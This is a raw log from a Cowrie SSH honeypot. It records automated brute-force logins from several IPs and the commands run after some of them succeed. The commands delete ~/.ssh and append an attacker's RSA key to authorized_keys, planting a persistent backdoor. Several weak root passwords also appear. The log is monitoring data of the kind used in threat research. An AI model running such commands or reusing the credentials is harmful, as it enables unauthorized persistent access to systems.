{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:45.100009Z","src_ip":"43.160.200.19","session":"5e5cdbcc3210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:45.340696Z","src_ip":"43.160.200.19","session":"25f17368ea5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:10:45.348119Z","src_ip":"43.160.200.19","session":"5e5cdbcc3210","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":46380,"dst_ip":"10.17.0.5","dst_port":22,"session":"928a4a5c93ab","protocol":"ssh","message":"New connection: 165.154.6.86:46380 (10.17.0.5:22) [session: 928a4a5c93ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:06.610613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:06.615110Z","src_ip":"165.154.6.86","session":"928a4a5c93ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:06.831580Z","src_ip":"165.154.6.86","session":"928a4a5c93ab","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"p4ssw0rd","message":"login attempt [root/p4ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:07.726385Z","src_ip":"165.154.6.86","session":"928a4a5c93ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:08.198823Z","src_ip":"165.154.6.86","session":"928a4a5c93ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:08.202552Z","src_ip":"165.154.6.86","session":"928a4a5c93ab","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:08.206349Z","src_ip":"165.154.6.86","session":"928a4a5c93ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:08.424963Z","src_ip":"165.154.6.86","session":"928a4a5c93ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:08.890872Z","src_ip":"165.154.6.86","session":"928a4a5c93ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:08.894313Z","src_ip":"165.154.6.86","session":"928a4a5c93ab","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:09.114988Z","src_ip":"165.154.6.86","session":"928a4a5c93ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:09.118179Z","src_ip":"165.154.6.86","session":"928a4a5c93ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":46386,"dst_ip":"10.17.0.5","dst_port":22,"session":"24bc68755be8","protocol":"ssh","message":"New connection: 165.154.6.86:46386 (10.17.0.5:22) [session: 24bc68755be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:09.327403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:09.331635Z","src_ip":"165.154.6.86","session":"24bc68755be8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:09.545856Z","src_ip":"165.154.6.86","session":"24bc68755be8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:10.436643Z","src_ip":"165.154.6.86","session":"24bc68755be8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:11.653862Z","src_ip":"165.154.6.86","session":"24bc68755be8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":56672,"dst_ip":"10.17.0.5","dst_port":22,"session":"79e961e71ee6","protocol":"ssh","message":"New connection: 165.154.6.86:56672 (10.17.0.5:22) [session: 79e961e71ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:11.865731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:11.869213Z","src_ip":"165.154.6.86","session":"79e961e71ee6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:12.083574Z","src_ip":"165.154.6.86","session":"79e961e71ee6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:12.976616Z","src_ip":"165.154.6.86","session":"79e961e71ee6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:13.194072Z","src_ip":"165.154.6.86","session":"928a4a5c93ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:13.197697Z","src_ip":"165.154.6.86","session":"79e961e71ee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.18","src_port":48338,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c93836cda94","protocol":"ssh","message":"New connection: 210.79.191.18:48338 (10.17.0.5:22) [session: 2c93836cda94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:15.347493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:15.351574Z","src_ip":"210.79.191.18","session":"2c93836cda94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:15.598251Z","src_ip":"210.79.191.18","session":"2c93836cda94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"term2","password":"password","message":"login attempt [term2/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:16.613492Z","src_ip":"210.79.191.18","session":"2c93836cda94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:11:17.860820Z","src_ip":"210.79.191.18","session":"2c93836cda94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.70.176.2","src_port":56503,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ad71c2331c0","protocol":"ssh","message":"New connection: 118.70.176.2:56503 (10.17.0.5:22) [session: 6ad71c2331c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:09.080406Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:09.307355Z","src_ip":"118.70.176.2","session":"6ad71c2331c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":54252,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c55b987b7e0","protocol":"ssh","message":"New connection: 64.188.83.153:54252 (10.17.0.5:22) [session: 6c55b987b7e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:11.254303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:11.259161Z","src_ip":"64.188.83.153","session":"6c55b987b7e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:11.348630Z","src_ip":"64.188.83.153","session":"6c55b987b7e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"term2","password":"password","message":"login attempt [term2/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:11.725826Z","src_ip":"64.188.83.153","session":"6c55b987b7e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:12.812967Z","src_ip":"64.188.83.153","session":"6c55b987b7e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.199","src_port":41576,"dst_ip":"10.17.0.5","dst_port":22,"session":"35f2dba2b34b","protocol":"ssh","message":"New connection: 210.79.191.199:41576 (10.17.0.5:22) [session: 35f2dba2b34b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:15.103591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:15.121421Z","src_ip":"210.79.191.199","session":"35f2dba2b34b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:15.370782Z","src_ip":"210.79.191.199","session":"35f2dba2b34b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"Uftp123","message":"login attempt [uftp/Uftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:16.348275Z","src_ip":"210.79.191.199","session":"35f2dba2b34b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.123.173","src_port":34780,"dst_ip":"10.17.0.5","dst_port":22,"session":"af21e8157694","protocol":"ssh","message":"New connection: 101.36.123.173:34780 (10.17.0.5:22) [session: af21e8157694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:16.560097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:16.564526Z","src_ip":"101.36.123.173","session":"af21e8157694","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:16.780681Z","src_ip":"101.36.123.173","session":"af21e8157694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:12:17.594995Z","src_ip":"210.79.191.199","session":"35f2dba2b34b","protocol":"ssh"}
